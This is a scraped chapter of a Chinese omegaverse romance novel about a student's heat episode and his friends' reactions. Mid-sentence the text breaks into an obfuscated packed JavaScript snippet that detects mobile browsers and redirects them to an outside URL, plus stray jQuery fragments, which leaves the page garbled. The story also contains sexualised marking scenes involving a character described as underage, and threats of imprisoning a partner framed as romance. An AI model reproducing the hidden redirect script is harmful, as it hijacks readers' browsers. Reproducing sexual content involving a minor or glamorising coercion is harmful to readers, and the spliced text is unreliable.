等抑制剂发挥作用后,阮知橙身体颤动的频率减少了很多。
“橙子,你自己洗个热水澡好吗?我去打个电话?”尤然问。
阮知橙没有吭声,只是抱着尤然的手臂更紧了些。
萦绕在鼻尖的薄荷味信息素愈发浅薄,阮知橙眼睫一颤,要哭不哭,努力朝着信息素最浓郁的腺体凑近,伸出舌头。
倏忽,尤然浑身一颤,从未有过的快感犹如海浪般冲击着他。
标记!
尤然小声喘着气,眼神闪过一丝痴迷。
与其担心阮知橙会喜欢上其他人,不如现在就让他标记自己……
阮知橙这么善良,醒来后会因为愧疚永远不会离开……
尤然不禁加大了手臂的力量,他们的拥抱越来越紧,仿佛想要把对方融入自己的身体里。
阮知橙无意识呜咽一声,alpha的本能让他忍不住张嘴舔向那团软肉,不断用牙齿摩挲着。
尤然几乎是用尽了全身力气才压制住不断上升的欲望,他的手指深深掐进阮知橙的后背。
“阮知橙,你知道你在做什么吗?”
阮知橙一手扣住omega细瘦的腰肢,不断蹭着尤然的身体。
“悠悠……尤然……”
他黏黏糊糊地叫着。
“是我,阮知橙,”尤然眯起眼睛,发出细碎的喘息,“啊……你要是现在标记我……这辈子,下辈子……生生世世我都不会放走你。”
阮知橙挑着自己想听的关键词,重复道,“标记你……想标记……”
“标记我……你就不能喜欢上别人!你只能是我的,”尤然犹如恶魔般在阮知橙耳旁低语,“你要敢逃跑……唔!我就把你锁在在家里……不让你穿衣,不让你动……”
阮知橙加重了力气,叼着那块腺体磨来磨去,身体的每一个细胞都在催促他咬下去。
不要!
不要在这种时候!
倏然,阮知橙的大脑仿佛被这不知从哪来的声音敲醒,痛苦将他从浓郁的薄荷味信息素拉出来。
他睁开眼睛,下意识推开怀里的人。
尤然一愣,他睁开眼睛,原本缠绵悱恻的薄荷味信息素霎时杀气腾腾地扑向阮知橙。
阮知橙呆呆看着他。
“没事了,”半晌,尤然调整好气息。
还没成年的alpha,宽容些……
下次。
一定。
必须。
“尤然,对对对不起!”
阮知橙火速起身,却不料因为长时间跪坐在地上,双腿酸麻不已。
倏忽,他眼前一黑,整个人都在空气中晃了一圈。
尤然一惊,他焦急地接住跌落下来的人,“阮知橙!”
阮知橙仿佛被抽尽了力气,大脑犹如被针扎一般,密密麻麻地发疼。
一声叫喊很快钻入了楼底下众人耳里,所有人齐齐一愣。
下一秒,上官鹤率先跑上楼,“怎么了!”
听着越来越近的脚步声,尤然果断喊:“上官鹤!拿点抑制剂来!橙子易感期好像来了!”
“什么?!”上官鹤刹在客房门前,他看了眼路月,路月了然,连忙带着剩下的人回到了客厅。
上官鹤则是一溜烟跑回了房间,抱着一堆抑制剂就往传声的房间跑。
他一脚踢开门,浓郁混杂的信息素味让他忍不住打了个喷嚏,他艰难得挥了挥空气,让自己的鼻子活了过来。
尤然正架着阮知橙从浴室踉踉跄跄走出来,“把门关上!”
上官鹤来不及惊讶两人怎么一副落汤鸡的模样,他反身关上门,三步两步跑到床前,帮着尤然给阮知橙擦身。
“现在打?”
“刚刚打过一针,半小时内不会再来,”尤然飞速道。
上官鹤刚想说什么,突然瞥见了尤然红肿着的腺体,上面还落着牙印。
“……他现在晕倒很有可能是因为之前的伤,”尤然边说边准备脱阮知橙湿掉的裤子,还没落下手,忽然,一股大力钳制住了他。
“干什么!”
尤然冷冷看着上官鹤。
“你出去。”
上官鹤低声道,他表情严肃,倒是让尤然也愣了一下。
“你先出去给阮叔打电话,尤然,”上官鹤加大力气,好似这样就会让尤然清醒,“你虽然喜欢阮知橙,但也不能在易感期靠近他,你是个omega!”
“上官鹤!”尤然怒了。
“你这样妄自菲薄是想让阮知橙醒来后后悔吗!”见尤然还没动作,上官鹤直接开大招,“你还不信任我吗?尤然!”
尤然没说话,他眼神晦暗,随即掉头走出客房。
路月刚刚上楼就看见了浑身湿透的尤然,他惊了下,飞速拉住尤然上三楼,“三楼有我的衣服,你快来换!”
屋内,确认尤然离开后,上官鹤直接锁门,他蹙眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307677|198726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走近阮知橙,还没等他说话,阮知橙就寻着方向抓住了他的手。
“疼得厉害吗?”
阮知橙用气音回,“还行。”
“阮叔他们待会来接你,”上官鹤犹豫了下,贴近阮知橙的耳朵。
“橙子,我知道你喜欢尤然,但是你真的要想好了,尤然他不是普通的omega——我说的不是他的等级。”
阮知橙努力撑起眼皮,他偏头看向上官鹤,“我知道,刚刚是我失控了,他没强迫我。”
“不你不知道,”上官鹤认真道,“这里只有我两,我现在说来得及。”
“……他放弃和林叔好不容易得来的平稳日子,改回尤姓重新回来。”
阮知橙静静地看着他。
“他回来是为了报仇的。”
“我知道,鹤哥,”阮知橙笑了,拉紧上官鹤的手,“你别这样说他。”
“你们真是!”上官鹤吸了一口气,感觉自己可以改名叫上官老妈子!
“你别生气,”阮知橙看着上官鹤气鼓鼓的样子不由得好笑,他强忍身体的躁动和大脑的疼痛,继续道。
“这么多年了,你知道我的,”他垂下眼睫,“要是我不想,没人可以强迫我的……”
“知道才生气啊,”上官鹤也不忍心再说什么了,“就你这傻里傻气的样子,他哪天一不开心真把你囚禁了怎么办?”
“不会的,”阮知橙乐,“尤然很温柔。”
“是是是!”
上官鹤懒得和爱情中的瞎子说话。
***
等阮岭飙车来接完阮知橙回去后,尤然也因为躁动的腺体早早回家。
剩下几人玩了会游戏,按照计划歇息在了上官鹤家,不过……
潘巧巧和黄元一左一右抓住了欲要上三楼的路月,两人一前一后问道。
“班长你为什么在三楼住?”
“班长你为什么这么轻车熟路?”
原本就心虚的路月炸了:“你们两快去睡觉!”
……
反正,上官鹤的送别会是成功的。
第三天一大早,他热泪盈眶地收到了阮知橙发来的道别信息。
然后他在机场哭唧唧抱着路月不撒手。
最后他在飞机头等舱看见了尤然。
“你为什么在这?”
上官鹤不可置信。
“出差。”
尤然喝了口咖啡淡淡道。